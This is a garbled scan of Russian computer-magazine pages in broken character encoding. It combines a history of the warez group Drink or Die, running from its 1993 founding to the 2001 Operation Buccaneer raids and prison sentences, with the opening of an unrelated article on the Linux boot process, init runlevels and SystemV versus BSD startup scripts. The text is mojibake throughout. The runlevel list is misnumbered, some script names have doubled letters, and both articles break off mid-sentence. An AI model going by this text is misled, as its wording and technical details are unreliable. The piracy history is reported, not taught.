Â àïðåëå 1993 ã., íà ìîñêîâñêîé êâàðòèðå, ãäå Deviator âñòðå÷àëñÿ ñî ñâîè-
ìè äðóçüÿìè-êðàêåðàìè (îäíèì èç íèõ áûë íåáåçûçâåñòíûé Baphomet), ïî-
ÿâèëàñü èäåÿ ñîçäàíèÿ íîâîé ãðóïïû. Ìèõà ê òîìó âðåìåíè óæå çíàë âñå õî-
äû è âûõîäû íà âàðåç-ñöåíå è õîòåë ñäåëàòü ñâîé ñîáñòâåííûé ëåéáë, áûòü
íå çàâèñèìûì íè îò êîãî. Òàê êàê ïðèÿòåëè, êàê ëþáîé ðóññêèé ÷åëîâåê, ëþ-
áèëè ïðîïóñòèòü ïî ðþìî÷êå, íàçâàíèå ñòàëî õàðàêòåðíûì: Drink or Die.
Deviator ïîòîì ïðèçíàëñÿ, ÷òî èçíà÷àëüíî îí ïëàíèðîâàë ñîçäàòü íå ïðîñòî
ãðóïïó, à öåëóþ àíäåãðàóíäîâóþ êîìïüþòåðíóþ èìïåðèþ. È äàæå ñîñòàâèë

ïëàí, êàê âîïëîòèòü
ãðàíäèîçíóþ öåëü.
Ïåðâûå ìåñÿöû DOD
çàíèìàëàñü èçó÷åíèåì
ñöåíû è åå ïðåäñòàâè-
òåëåé, ÷òîáû çàíÿòü
ñâîå ìåñòî ñðåäè àìå-
ðèêàíñêèõ è åâðîïåéñ-
êèõ êîìàíä, è ñîñòà-
âèòü èì äîñòîéíóþ êîí-
êóðåíöèþ. Ëåòîì 1993
ã. Ìèõà ñìåíèë íèê íà
Jimmy Jamez � èìåííî
ïîä ýòèì èìåíåì âñå
ñëåäóþùèå ãîäû îí
áûë èçâåñòåí íà ìèðî-
âîé êðàê-ñöåíå.

[ïåðâûå ãîäû DOD]
Ïåðâûì îôèöèàëüíûì
ðåëèçîì DOD ñòàë âû-
ïóùåííûé â ìàå 93-ãî
êðàê äëÿ ïîïóëÿðíîãî
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äåðæàë âçëîìàííûå ïðîãðàììû íà ñâîåì êîìïüþòåðå. Òàêæå â êà÷åñòâå ïðèê-
ðûòèÿ, îí çàðåãèñòðèðîâàë ÷àñòíóþ ôèðìó, ïðîèçâîäÿùóþ ëèöåíçèîííûé ñîôò.
1995 ã. ñòàë ïåðåëîìíûì äëÿ ñîñòàâà ãðóïïû. Drink or Die îñòàâèëè íåñêîëü-
êî äàâíèõ ìåìáåðîâ, ÷òîáû îñíîâàòü ñâîþ ïîä íàçâàíèåì Prophecy. Â òî æå
âðåìÿ, äðóãîé ðóññêèé ïàðåíü ñ íèêîì Phoenix, ëèäåð êðàê-òèìû Tyranny,
ïðåäëîæèë Jimmy îáúåäèíèòü èõ ãðóïïû äëÿ áîëåå ïëîäîòâîðíîé ðàáîòû.
Ðåçóëüòàòîì ýòîãî ñëèÿíèÿ ñòàëà ñåðèÿ êðàêîâ ïðîãðàìì îò IBM, Microsoft è
Novell. Ýòè ðåëèçû áûñòðî ðàçîøëèñü ïî âñåìó ìèðó, è Drink or Die ñòàëà íî-
ìåðîì îäèí íà âàðåçíîé ñöåíå. Î DOD çàãîâîðèëè äàæå äàëåêèå îò êîìïü-
þòåðîâ ëþäè, ïîñëå òîãî, êàê êîìàíäà âûïóñòèëà âçëîìàííóþ âåðñèþ
Windows 95 çà äâå íåäåëè äî îôèöèàëüíîãî ðåëèçà. Ýòîò èíöèäåíò äîëãî
îáñàñûâàëñÿ â ïðåññå è ëåéáë DOD àôèøèðîâàëñÿ íà êàæäîì óãëó. Áîëåå
380 ðåëèçîâ è 3 Ãá ñîôòà âñåãî çà îäèí 1995-é ãîä � íè îäíà äðóãàÿ êîìàí-
äà íå ìîãëà ñðàâíèòüñÿ ñ DOD ïî àêòèâíîñòè. Íî, íà÷èíàÿ ñ 1996 ã., äëÿ
Drink or Die, êàê è äëÿ âñåé îñòàëüíîé ñöåíû, íà÷àëèñü íå ëó÷øèå äíè.

[âðåìÿ ïåðåìåí] Êîãäà èíòåðíåò ñòàë îòêðûòûì äëÿ âñåõ, àíäåãðàóíä íà÷àë
ñòðåìèòåëüíî ìåíÿòüñÿ. Ïåðâûå èçìåíåíèÿ ñòàëè çàìåòíû â IRC, êàíàëû êîòî-
ðîãî áûëè çàôëóæåíû òîëïàìè ëàìåðîâ, íå èìåþùèõ íèêàêîãî ïðåäñòàâëåíèÿ
î ñöåíå. Â òî æå âðåìÿ, ïîÿâèëîñü áîëüøîå êîëè÷åñòâî íîâûõ êðàê-ãðóïï, ðå-
ãóëÿðíî âûïóñêàþùèõ êðàêè, ñåðèéíèêè, òðåéíåðû è äðóãèå ïîäîáíûå âåùè.
Ïîääåðæèâàòü ðåïóòàöèþ ëó÷øèõ â ñâîåì ðîäå ñòàëî ñëîæíî � ðåëèçû îò
DOD ïîïðîñòó óòîíóëè â îáùåé ìàññå. Ëèäåðû Drink or Die Jimmy Jamez è
Cyber Angel îñòàâèëè ñöåíó, ÷òîáû ïðîôåññèîíàëüíî çàíÿòüñÿ âåá-äèçàéíîì,
íà èõ ìåñòî ïðèøåë íîâûé ïðåäâîäèòåëü � Lester. Ïîíàäîáèëîñü íåñêîëüêî
ìåñÿöåâ, ÷òîáû ïåðåôîðìèðîâàòü êîìàíäó è ñîõðàíèòü òî, ÷òî îñòàëîñü. Ìíî-
ãèå íà÷àëè ïîãîâàðèâàòü î êîíöå ýïîõè DOD, íî áëàãîäàðÿ ýíòóçèàçìó Lester'à,
ãðóïïà ïðîäîëæàëà ðàáîòàòü, õîòü è íå òàê àêòèâíî, êàê ðàíüøå.
Â Drink or Die áûëà ÷åòêàÿ èíôðàñòðóêòóðà, ãäå êàæäûé çàíèìàëñÿ ñâîèì äåëîì.
Ïîñòàâùèêè (êóðüåðû) äîáûâàëè ÏÎ è ïåðåäàâàëè åãî êðàêåðàì. Êðàêåðû âçëà-
ìûâàëè çàùèòó, âíîñèëè íåîáõîäèìûå èçìåíåíèÿ â êîä è îòïðàâëÿëè ðåçóëüòàò
òåñòåðàì. Òå ïðîâåðÿëè âçëîìàííûå ïðîãè íà ïðîôïðèãîäíîñòü, ïîñëå ÷åãî ñîôò
ïîïàäàë â ðóêè óïàêîâùèêîâ, ðàñïðîñòðàíÿþùèõ åãî ÷åðåç ñàéòû, FTP è IRC.
1996 ãîä ñòàë âðåìåíåì ïåðâûõ àðåñòîâ êðàêåðîâ è êàðäåðîâ. Êîìïàíèÿ AOL,
êîòîðàÿ áîëüøå âñåãî ñòðàäàëà îò êîìïüþòåðíûõ ìàõèíàöèé (ïåðâûå àìåðè-

êàíñêèå èíòåðíåò-þçåðû íå çàáîòèëèñü î ñîçäàíèè
íîðìàëüíûõ ïàðîëåé è èõ àêêàóíòû ëåãêî ïîäáèðà-
ëèñü, êàê â ïðî÷åì è íîìåðà êðåäèòíûõ êàðò), îá-
ðàòèëàñü â ïîëèöèþ è íà òåððèòîðèè ÑØÀ íà÷à-
ëèñü ðåéäû. Â ðåçóëüòàòå áûëî çàäåðæàíî íåñ-
êîëüêî îñîáî çàðâàâøèõñÿ êàðäåðîâ, õîòÿ ìíîãèå
èç íèõ ëåãêî îòäåëàëèñü.
Â ñåðåäèíå 1996 ãîäà â Drink or Die âåðíóëèñü îñ-
íîâíûå ïîñòàâùèêè è òàëàíòëèâûå êðàêåðû: The

Pep, Tawni, Evil Tea, The Punisher. Ïîñëå ýòîãî îáúåäèíåíèÿ, DOD ñòàëà áûñò-
ðî íàáèðàòü áûëóþ ñèëó è ê çèìå ñíîâà çàíÿëà ëèäèðóþùåå ìåñòî â âàðåç-
íûõ ÷àðòàõ. Â ôåâðàëå 1997 ã. ãðóïïà çà îäèí ìåñÿö âûïóñòèëà 54 êðóïíûõ
ðåëèçà îáùèõ îáúåìîì 890 Ìá. À â 1999 ã. ñàìûì èçâåñòíûì ðåëèçîì DOD
ñòàë DVD Speed Ripper � âçëîìùèê çàùèòíîãî êîäà îò êîïèðîâàíèÿ DVD. Îí
ïîÿâèëñÿ íåçàäîëãî äî DeCSS, àíàëîãè÷íîé ïðîãðàììû îò íîðâåæñêîãî êðà-
êåðà Éîíà Éîõàíñåíà, íî ïîëó÷èâøåé áîëüøóþ èçâåñòíîñòü.

[àðåñòû è ñóäû] Â 2001 ã. êîîðäèíèðîâàíèåì DOD çàíèìàëèñü äâîå ëè-
äåðîâ, îäèí â ÑØÀ, äðóãîé � â Àâñòðàëèè, à ìåìáåðàìè åå áûëè ëó÷øèå
â ìèðå êðàêåðû, âêëþ÷àÿ Dezzy, ForceKill è Hackrat. Ñåòü ïîñòàâùèêîâ ñîñ-
òîÿëà èç ñîòåí ðàáîòíèêîâ ñîôòâàðíûõ êîìïàíèé, êîòîðûå âûñûëàëè êî-
ïèè ïðîãðàìì çàäîëãî äî èõ ïîÿâëåíèÿ â ïðîäàæå. Ìåõàíèçì áûë îòëàæåí,
è íè÷åãî íå ïðåäâåùàëî áåäû. À òåì âðåìåíåì ÔÁÐ ñîâìåñòíî ñ ïðàâîîõ-
ðàíèòåëüíûìè îðãàíàìè øåñòè ñòðàí ãîòîâèëîñü ê ïðîâåäåíèþ ìàñøòàá-
íîãî ðåéäà, ñòàâøåãî âïîñëåäñòâèè èçâåñòíûì êàê îïåðàöèÿ Buccaneer.
11 äåêàáðÿ 2001 ã. ôåäåðàëüíûå àãåíòû ïîñåòèëè Ìàññà÷óñåòñêèé Òåõíîëîãè÷åñ-
êèé èíñòèòóò, Êàëèôîðíèéñêèé óíèâåðñèòåò, Óíèâåðñèòåò Îðèãîíû, à òàêæå îôè-
ñû íåñêîëüêî ñîôòâàðíûé êîìïàíèé � â ýòèõ ìåñòàõ ó÷èëèñü èëè ðàáîòàëè ñàìûå
àêòèâíûå ìåìáåðû Drink or Die. Ïîìèìî Àìåðèêè, ðåéäû ïðîøëè íà òåððèòîðèè
Âåëèêîáðèòàíèè, Àâñòðàëèè, Ôèíëÿíäèè, Íîðâåãèè è Øâåöèè. Â îäèí åäèíñòâåí-
íûé äåíü, ïîäãîòîâêà ê êîòîðîìó äëèëàñü 14 ìåñÿöåâ, ïîëèöèè óäàëîñü àðåñòîâàòü
ïî÷òè âñþ «ýëèòó» âàðåç ñöåíû, êëþ÷åâûõ ìåìáåðîâ DOD, Razor 911, DEViANCE,
RogueWarriorz, TFL, WLW, RiSC è äðóãèõ èçâåñòíûõ âàðåç/êðàê ãðóïï. Áîëåå 70 ÷å-
ëîâåê, èç êîòîðûõ îêîëî 20 èìåëî îòíîøåíèå ê DOD, îáâèíèëè â íàðóøåíèè àâòî-
ðñêèõ ïðàâ. Ñóäåáíûå ïðîöåññû íàä êðàêåðàìè íà÷àëèñü âî âñåì ìèðå.
Â èòîãå ñàìûé ñóðîâûé ïðèãîâîð áûë âûíåñåí 28-ëåòíåìó Äæîíó Ñàíêóñó, íà
òîò ìîìåíò îäíîìó èç ëèäåðîâ Drink or Die. Îí ïîëó÷èë 4 ãîäà òþðüìû. «Äæîí
Ñàíêóñ ñî ñâîåé òåõíîáàíäîé âîðî÷àë òåìíûìè äåëàìè â èíòåðíåòå, ïîëàãàÿ,
÷òî èõ íèêîãäà íå ïîéìàþò. Íî îêàçàëñÿ íå ïðàâ. Çàñëóæåííîå íàêàçàíèå ïîñ-
ëóæèò åìó óðîêîì, è ïðèìåðîì äëÿ äðóãèõ ïîäîáíûõ òåõíîçëîäååâ, óâåðåííûõ
â ñâîåé íåóëîâèìîñòè», � âûñòóïèë ñ íàçèäàòåëüíîé ðå÷üþ ïðîêóðîð.
Ñèëüíî äîñòàëîñü ìåìáåðàì DOD èç Âåëèêîáðèòàíèè, äëÿ ïîèìêè êîòîðûõ
ìåñòíûå îðãàíû âëàñòè ïîòðàòèëè íåìàëî ñèë. Ñóäåáíûå ïðîöåññû íàä
Àëåêñîì Áåëëîì aka Mr 2940 è Ñòèâåíîì Äîóäîì aka Tim, êëþ÷åâûìè ïîñ-
òàâùèêàìè ãðóïïû, îñâåùàëèñü âî ìíîãèõ áðèòàíñêèõ ãàçåòàõ è â Ñåòè. 
Â èòîãå èõ ïðèçíàëè âèíîâíûìè â ðàñïðîñòðàíåíèè ïèðàòñêîé ïðîäóêöèè è
ïðèãîâîðèëè ê ñðîêàìó îò 1.5 äî 2.5 ëåò òþðüìû.
Áîëüøèíñòâî àðåñòîâàííûõ ìåìáåðîâ Drink or Die èìåëè âûñîêîîïëà÷è-
âàåìóþ ðàáîòó â ñôåðå IT è çàíèìàëèñü êðàêîì íå ðàäè äåíåã. Âñå îíè
ðóêîâîäñòâîâàëèñü ñòàðûì äîáðûì ïðèíöèïîì Just for Fun. Âçëîì çàùè-
òû ïðîãðàìì áûë èíòåëëåêòóàëüíûì ñîñòÿçàíèåì, ïðîâåðêîé ñîáñòâåí-
íûõ ñêèëîâ, à íå ñïîñîáîì çàðàáîòàòü.
Òåáå, íàâåðíîå, èíòåðåñíî, ÷òî ñëó÷èëîñü ñ DOD ïîòîì, êîãäà îòãðåìå-
ëè ðåéäû? Íåêîòîðîå âðåìÿ ãðóïïà åùå ðàáîòàëà, íî óæå íàìíîãî òè-
øå è îñòîðîæíåå. Òàê êàê âåñü êîñòÿê êîìàíäû îòáûë â ìåñòà íå ñòîëü
îòäàëåííûå, êîîðäèíèðîâàòü ìåõàíèçì ñòàëî íåêîìó è îñòàâøèåñÿ
ìåìáåðû ïðîñòî ëîìàëè ñåáå ïîòèõîíüêó, âûïóñêàÿ ðåëèçû ïîä ëåéá-
ëîì DOD. Ïîñëåäíèå óïîìèíàíèÿ î ãðóïïå îòíîñÿòñÿ ê ÿíâàðþ 2003 ã.,
êîãäà â Ñåòè ïîÿâèëàñü âçëîìàííàÿ âåðñèÿ 3D Studio Max v3.1, è â èí-
ôîøêå ê êîòîðîé ñòîÿëè òðè çíàêîìûå âñåì âàðåçíèêàì áóêâû. Íà
ýòîì èñòîðèÿ ëåãåíäàðíîé êîìàíäû çàêîí÷èëàñü. Êòî-òî èç ìåìáåðîâ
ïåðåøåë â äðóãèå êîìàíäû, êòî-òî íàâñåãäà îñòàâèë ñöåíó. Íî è òå, è
äðóãèå ñ íîñòàëüãèåé âñïîìèíàþò î âðåìåíàõ, êîãäà Drink or Die ðóëè-
ëà âàðåç ñöåíîé

ïåðâûé êîìïüþòåð Deviator'à

äëÿ ìíîãèõ â DOD èñòîðèÿ çàêîí÷èëàñü çäåñü

èäåò ïðîöåññ âçëîìà
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[ïðîëîã] Êàê èçâåñòíî, ïðîöåññ çàãðóçêè îïå-
ðàöèîííîé ñèñòåìû íà÷èíàåòñÿ ñ çàãðóç÷èêà
(lilo èëè grub), êîòîðîìó ïåðåäàåò óïðàâëåíèå
BIOS ìàòåðèíñêîé ïëàòû. Çàãðóç÷èê â ñâîþ
î÷åðåäü ïîäãðóæàåò â ïàìÿòü îáðàç ÿäðà, íàõî-
äÿùèéñÿ â êàòàëîãå /boot, è ïðåäîñòàâëÿåò åìó
âñå ïîëíîìî÷èÿ. ßäðî ïðîâîäèò ìíîãî÷èñëåí-
íûå òåñòû è èíèöèàëèçàöèè, àêòèâèðóåò äðàé-
âåðàû è çàïóñêàåò ïðîöåññ init (PID = 1). Ïîñëå
ýòîãî ÿäðî óæå íå ñïîñîáíî êîíòðîëèðîâàòü
äàëüíåéøóþ çàãðóçêó, è âñÿ îòâåòñòâåííîñòü
ëîæèòñÿ íà ïëå÷è init.

ÒÛ ÍÈÊÎÃÄÀ ÍÅ ÇÀÄÓÌÛÂÀËÑß ÍÀÄ ÒÅÌ, ×ÒÎ
ÏÐÎÈÑÕÎÄÈÒ Ñ ÒÂÎÈÌ ËÞÁÈÌÛÌ ÏÈÍÃÂÈ-
ÍÎÌ ÂÎ ÂÐÅÌß ÇÀÃÐÓÇÊÈ? ÊÀÊÈÅ ÄÅÉÑÒÂÈß
ÏÐÅÄÏÐÈÍÈÌÀÅÒ ÑÈÑÒÅÌÀ ÄËß ÒÎÃÎ, ×ÒÎÁÛ
ÒÛ ÁÅÇ ËÈØÍÈÕ ÓÑÈËÈÉ ÑÌÎÃ ÑÌÎÒÐÅÒÜ
ÔÈËÜÌÛ, ÑËÓØÀÒÜ ÌÓÇÛÊÓ, ÎÁÙÀÒÜÑß Â IRC
È ÂÎÎÁÙÅ ÐÀÁÎÒÀÒÜ Ñ ÎÏÅÐÀÖÈÎÍÍÎÉ ÑÈÑ-
ÒÅÌÎÉ? ÎÒÂÅÒÛ ÍÀ ÝÒÈ ÂÎÏÐÎÑÛ ÒÛ ÍÀÉ-
ÄÅØÜ Â ÝÒÎÉ ÑÒÀÒÜÅ | j1m (j1m@list.ru) 
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Ïðîöåññ çàãðóçêè Linux
â ïîäðîáíîñòÿõ

[init: ãëàâà ñåìåéñòâà] Çàäà÷a
init � çàïóñê ñòàðòîâûõ ñêðèïòîâ, êî-
òîðûå êàê ðàç è îòâå÷àþò çà ïîñëå-
äóþùèå äåéñòâèÿ ïî çàãðóçêå ÎÑ,
ïðîâåðêó ôàéëîâûõ ñèñòåì, ïîäíÿ-
òèå ñåòåâûõ èíòåðôåéñîâ, çàïóñê äå-
ìîíîâ è ò.ä. Ïîëó÷èâ àáñîëþòíóþ âëàñòü, init ïåðâûì äåëîì ÷èòàåò ñâîé êîí-
ôèã /etc/inittab, ÷òîáû óçíàòü î äåôîëòíîì óðîâíå çàïóñêà è î òîì, íà êàêèå
èìåííî ñêðèïòû ñëåäóåò âîçëîæèòü áðàçäû óïðàâëåíèÿ çàãðóçêîé.
Óðîâíè çàïóñêà init:

1 Âûêëþ÷åíèå.
2 Îäíîïîëüçîâàòåëüñêèé ðåæèì.
3 Ìíîãîïîëüçîâàòåëüñêèé ðåæèì áåç ñåòè.
4 Ìíîãîïîëüçîâàòåëüñêèé ðåæèì.
5 Íå èñïîëüçóåòñÿ.
7 Ìíîãîïîëüçîâàòåëüñêèé ðåæèì, ïëþñ çàïóñê X-Window.
8 Ïåðåçàãðóçêà.

êàê âèäíî, init ÿâëÿåòñÿ ïîòîìêîì âñåõ ïðîöåññîâ

098

Ñèñòåìà udev òîëüêî íåäàâ-
íî íà÷àëà èñïîëüçîâàòüñÿ â
Linux. Äî ýòîãî áûë devfs,
êîòîðûé, â îòëè÷èå îò udev,
íàõîäèëñÿ â ÿäðå.



íóþ ñìåñü ðàçëè÷íûõ, íå ñâÿçàííûõ ìåæäó ñîáîé ïðîãðàìì (more è cal íà-
õîäÿòñÿ èìåííî â íåì). Ïðèáàâü ñþäà ïðîãðàììû îáðàáîòêè òåêñòà sed è
awk è ïîéìåøü, ÷òî óæå íà ýòàïå èíèöèàëèçàöèè ïîÿâëÿåòñÿ íåîáõîäèìîñòü
âî ìíîãèõ ñòàíäàðòíûõ ïðîãðàììàõ. Ïðè÷åì âñå îíè äîëæíû íàõîäèòüñÿ â
êàòàëîãàõ /bin è /sbin, ïîòîìó ÷òî ôàéëîâàÿ ñèñòåìà, â êîòîðîé ñîäåðæèòñÿ
/usr, ìîæåò áûòü íå ñìîíòèðîâàíà íà íà÷àëüíîì ýòàïå çàãðóçêè.

[ìàãèÿ èíèöèàëèçàöèè] Íàñòàëî âðåìÿ ïåðåéòè íåïîñðåäñòâåííî ê îïè-
ñàíèþ ïðîöåññà çàãðóçêè. ×òîáû íèêîãî íå îáèäåòü, âîçüìåì äëÿ ïðèìåðà
ñêðèïòû èç íåéòðàëüíîãî äèñòðèáóòèâà LFS :). Åãî ñòàðòîâûå ñêðèïòû ïðå-
äåëüíî ïðîñòû è îòíîñÿòñÿ ê êëàññó SystemV. Èòàê, äàâàé ïîäóìàåì ëîãè÷åñ-
êè, ÷òî íóæíî ñäåëàòü íà íà÷àëüíîé ñòóïåíè èíèöèàëèçàöèè (òîé, êîòîðàÿ íå
çàâèñèò îò óðîâíÿ çàïóñêà). À ñäåëàòü íóæíî ñëåäóþùåå (ïî ïðèîðèòåòó):

1 Ïðèìîíòèðîâàòü ÿäåðíûå ôàéëîâûå ñèñòåìû /proc è /sys, èíà÷å áåç íèõ
ìàëî ÷òî áóäåò ðàáîòàòü.

2 Èíèöèàëèçèðîâàòü ñèñòåìó udev, êîòîðàÿ çàíèìàåòñÿ ñîçäàíèåì ýëå-
ìåíòîâ â êàòàëîãå /dev.

3 Ïîäêëþ÷èòü swap, êóäà æå áåç íåãî.

4 Çàãðóçèòü ìîäóëè, òàê êàê ïîääåðæêà íåêîòîðûõ ÔÑ ìîæåò íàõîäèòüñÿ
â ìîäóëÿõ � ýòî íóæíî ñäåëàòü äî èõ ïðîâåðêè è ìîíòèðîâàíèÿ.

5 Ïðîâåðèòü ôàéëîâûå ñèñòåìû íà íàëè÷èå îøèáîê.

6 Ïðèìîíòèðîâàòü âñå ëîêàëüíûå ÔÑ.

7 Î÷èñòèòü êàòàëîãè /tmp, /var/run è èì ïîäîáíûå îò âðåìåííûõ ôàéëîâ.

8 Óñòàíîâèòü ñèñòåìíîå âðåìÿ.

9 Óñòàíîâèòü íóæíûé êîíñîëüíûé øðèôò è ðàñêëàäêó êëàâèàòóðû.

0 Ïîäíÿòü èíòåðôåéñ îáðàòíîé ïåòëè.

À òåïåðü ïîñìîòðèì, êàê âñå ýòî âûãëÿäèò â ñòàðòîâûõ ñêðèïòàõ. Åñëè ñó-
äèòü ïî ôàéëó /etc/inittab èç LFS, òî äëÿ íà÷àëüíîé èíèöèàëèçàöèè íåîáõî-
äèìî çàïóñòèòü ñêðèïò /etc/rc.d/init.d/rc ñ ïàðàìåòðîì sysinit
(si::sysinit:/etc/rc.d/init.d/rc sysinit). Ýòîò ñêðèïò, â ñâîþ î÷åðåäü, ïåðåõîäèò â
êàòàëîã /etc/rc.d/rcsysinit.d è çàïóñêàåò ñêðèïòû (êîòîðûå íà ñàìîì äåëå ÿâ-
ëÿþòñÿ ññûëêàìè) â ýòîì êàòàëîãå. Èõ çàïóñê áóäåò ïðîèñõîäèòü â ñëåäóþ-
ùåì ïîðÿäêå (îí ìîæåò íå ñîâïàäàòü ñ ïîðÿäêîì, ïðåäëîæåííûì ìíîé):
SS0000mmoouunnttkkeerrnnffss � ìîíòèðîâàíèå ÿäåðíûõ ÔÑ. Ïîëó÷èâ ïàðàìåòð start,
ñêðèïò ïðîâåðÿåò, íå ñìîíòèðîâàí ëè /proc è, â ñëó÷àå îòðèöàòåëüíîãî îòâå-
òà, ïîäêëþ÷àåò åå êîìàíäîé "mount -n /proc". Çàòåì ñêðèïò âûÿñíÿåò, ïîä-
äåðæèâàåò ëè ÿäðî ôàéëîâóþ ñèñòåìó /sys è ìîíòèðóåò åå (mount -n /sys).
SS0055mmoodduulleess � çàãðóçêà ìîäóëåé. Î òîì, ïîääåðæèâàåò ëè ÿäðî ìîäóëè,
ñêðèïò óçíàåò ïî íàëè÷èþ ôàéëîâ /proc/ksyms è /proc/modules. Äàëåå ñëå-
äóåò ÷òåíèå ôàéëà /etc/sysconfig/modules, â êîòîðîì ïðîïèñàíû èìåíà ìî-
äóëåé è àðãóìåíòû. Ê êàæäîìó èç ìîäóëåé ïðèìåíÿåòñÿ êîìàíäà modprobe.
S10udev � èíèöèàëèçàöèÿ udev. Ïðîâåðÿåòñÿ ôàêò ìîíòèðîâàíèÿ /sys è íà-
ëè÷èå ôàéëà /sbin/udev. Çàòåì ñîçäàåòñÿ íåñêîëüêî ïîëåçíûõ çàïèñåé â êàòà-
ëîãå /dev (íàïðèìåð, "ln -s /proc/self/fd /dev/fd"). Ïîñëå ïðîâåðêè, íå àêòèâèðî-
âàíà ëè óæå udev, ïðîèñõîäèò ìîíòèðîâàíèå âèðòóàëüíîé ÔÑ ê êàòàëîãó /dev
(mount -n -t ramfs ramfs /dev). Ýòî íóæíî äëÿ òîãî, ÷òîáû çàïèñè â êàòàëîãå ñîç-
äàâàëèñü íå íà ôèçè÷åñêîì äèñêå, à â îïåðàòèâíîé ïàìÿòè. Ñ ïîìîùüþ êî-
ìàíäû "echo /sbin/udevsend > /proc/sys/kernel/hotplug" ÿäðó ñîîáùàåòñÿ î òîì,
÷òî åñëè ê êîìïó áûëî ïîäêëþ÷åíî íîâîå óñòðîéñòâî, òî îá ýòîì äîëæíî áûòü
íåìåäëåííî èçâåñòíî ñèñòåìå udev, ÷òîáû òà ìîãëà ñîçäàòü íîâûé ôàéë äëÿ
ýòîãî óñòðîéñòâà. Âñå, òåïåðü ìîæíî çàïóñòèòü udev êîìàíäîé udevstart.
SS2200sswwaapp � ïîäêëþ÷åíèå swap. Çäåñü âñå ïðåäåëüíî ïðîñòî: îäíà êîìàíäà
"swapon -a", êîòîðàÿ ìîíòèðóåò âñå èìåþùèåñÿ swap-ðàçäåëû.
S30checkfs � ïðîâåðêà ôàéëîâûõ ñèñòåì. Ïðîâåðêà ëþáîé ôàéëîâîé ñèñ-
òåìû îñóùåñòâëÿåòñÿ êîìàíäîé fsck, êîòîðàÿ, â çàâèñèìîñòè îò òèïà ÔÑ,
çàïóñêàåò äðóãóþ ïðîãðàììó ïðîâåðêè ñ èìåíåì fsck.òèï_ôñ (íàïðèìåð,
fsck.ext2 èëè fsck.reiserfs). Òàêèå óòèëèòû îáû÷íî ðàñïðîñòðàíÿþòñÿ â ïàêå-
òàõ ext2progs, reiserfsprogs è èì ïîäîáíûõ. Òåïåðü ðàçáåðåì, êàê âûïîëíÿ-
åò ïðîâåðêó ñêðèïò checkfs. Âñå íà÷èíàåòñÿ ñ ïîäòâåðæäåíèÿ ñóùåñòâîâà-

Äëÿ ïðèìåðà ðàññìîòðèì ôàéë /etc/inittab èç Slackware 10.1. Ñòðîêà
"id:3:initdefault:" óñòàíàâëèâàåò òðåòèé óðîâåíü çàïóñêà. Ñëåäóþùàÿ çàïèñü
"si:S:sysinit:/etc/rc.d/rc.S" îçíà÷àåò, ÷òî ñêðèïò /etc/rc.d/rc.S äîëæåí ãðóçèòü-
ñÿ ïåðâûì, âíå çàâèñèìîñòè îò óðîâíÿ çàïóñêà. Äàëåå ïî òåêñòó ìîæíî íàé-
òè ñòðîêó "rc:2345:wait:/etc/rc.d/rc.M", ãîâîðÿùóþ î òîì, ÷òî äëÿ óðîâíåé ñî
âòîðîãî ïî ïÿòûé ñëåäóåò çàïóñòèòü ñêðèïò "/etc/rc.d/rc.M".

[SystemV vs BSD] Ðàçëè÷àþò äâà òèïà ñòàðòîâûõ ñêðèïòîâ: SystemV è
BSD. Ïåðâûå ïðèìåíÿëèñü â îðèãèíàëüíîì UNIX, à âòîðûå â ñèñòåìàõ ñå-
ìåéñòâà BSD. Ðàçëè÷èÿ ìåæäó íèìè äîâîëüíî ñóùåñòâåííûå. SystemV-
ñêðèïòû äåëàþò ïðîöåññ èíèöèàëèçàöèè áîëåå ãèáêèì, ïîääàþùèìñÿ íàñò-
ðîéêå, çàòî BSD-ñêðèïòû îòëè÷àþòñÿ ñâîåé ïðîñòîòîé (õîòÿ â ñîâðåìåííûõ
BSD ïî ãèáêîñòè è óäîáñòâó íàñòðîéêè äàæå îïåðåæàþò SystemV-ñêðèïòû).
Èçíà÷àëüíî (íà çàðå ïîÿâëåíèÿ 386BSD) BSD-ñêðèïòû ïðåäñòàâëÿëè ñîáîé
ñåìü ôàéëîâ (/etc/rc.0 � rc.6), êàæäûé èç êîòîðûõ îòâå÷àë çà èíèöèàëèçà-
öèþ íà îäíîì èç ñåìè óðîâíåé çàïóñêà. Íà÷àëüíîé èíèöèàëèçàöèåé çàíè-
ìàëñÿ ñêðèïò /etc/rc.sysinit (èëè ïðîñòî /etc/sysinit). Â íàñòîÿùåå âðåìÿ òà-
êóþ ñõåìó çàãðóçêè (â íåñêîëüêî ïîòðåïàííîì âèäå) ìîæíî âñòðåòèòü â
Linux äèñòðèáóòèâàõ Slackware è CRUX. Â ñîâðåìåííûõ æå BSD-ñèñòåìàõ
èñïîëüçóþòñÿ èíûå ñêðèïòû, êîòîðûå óíàñëåäîâàëè îò ñâîèõ ïðåäøåñòâåí-
íèêîâ òîëüêî îñíîâíóþ èäåþ. Â îáùåì âèäå ýòè ñêðèïòû âûãëÿäÿò òàê:

[ñõåìà èíèöèàëèçàöèè BSD]

/etc/sysinit � ñêðèïò íà÷àëüíîé èíèöèàëèçàöèè
/etc/rc � îòâå÷àåò çà èíèöèàëèçàöèþ íà óðîâíÿõ 2�5
/etc/rc.shutdown � îòâå÷àåò çà èíèöèàëèçàöèþ íà óðîâíÿõ 0, 1 è 6
/etc/rc.conf � êîíôèãóðàöèîííûé ôàéë
/etc/rc.local � çàïóñê êîìàíä ïîëüçîâàòåëÿ

Âíîñÿ èçìåíåíèÿ â êîíôèã, ìîæíî êîíòðîëèðîâàòü çàïóñê ñåðâèñîâ, ìå-
íÿòü øðèôòû è ðàñêëàäêó êëàâèàòóðû.
Â ïðîòèâîïîëîæíîñòü ìîíîëèòíûì BSD-ñêðèïòàì, SystemV-ñêðèïòû ïðåäñ-
òàâëÿþò ñîáîé îãðîìíîå êîëè÷åñòâî ðàçëè÷íûõ ñöåíàðèåâ, çàäà÷à êàæäî-
ãî èç êîòîðûõ � âûïîëíèòü îäèí øàã èíèöèàëèçàöèè (íàïðèìåð, ïîäêëþ-
÷èòü swap, çàïóñòèòü sendmail, óñòàíîâèòü øðèôò). Âñå ñöåíàðèè ëåæàò â
êàòàëîãå /etc/rc.d/init.d, ïîìèìî íåãî â /etc/rc.d ïðèñóòñòâóþò åùå âîñåìü êà-
òàëîãîâ: rc0.d � rc6.d è rcsysinit.d. Èõ èìåíà ñîîòâåòñòâóþò óðîâíÿì çàïóñ-
êà. Â êàæäîì èç íèõ ñîçäàþòñÿ ñèìâîëè÷åñêèå ññûëêè, óêàçûâàþùèå íà
ñöåíàðèè êàòàëîãà /etc/rc.d/init.d. Èìÿ ññûëêè ìîæåò íà÷èíàòüñÿ ñ áóêâû S
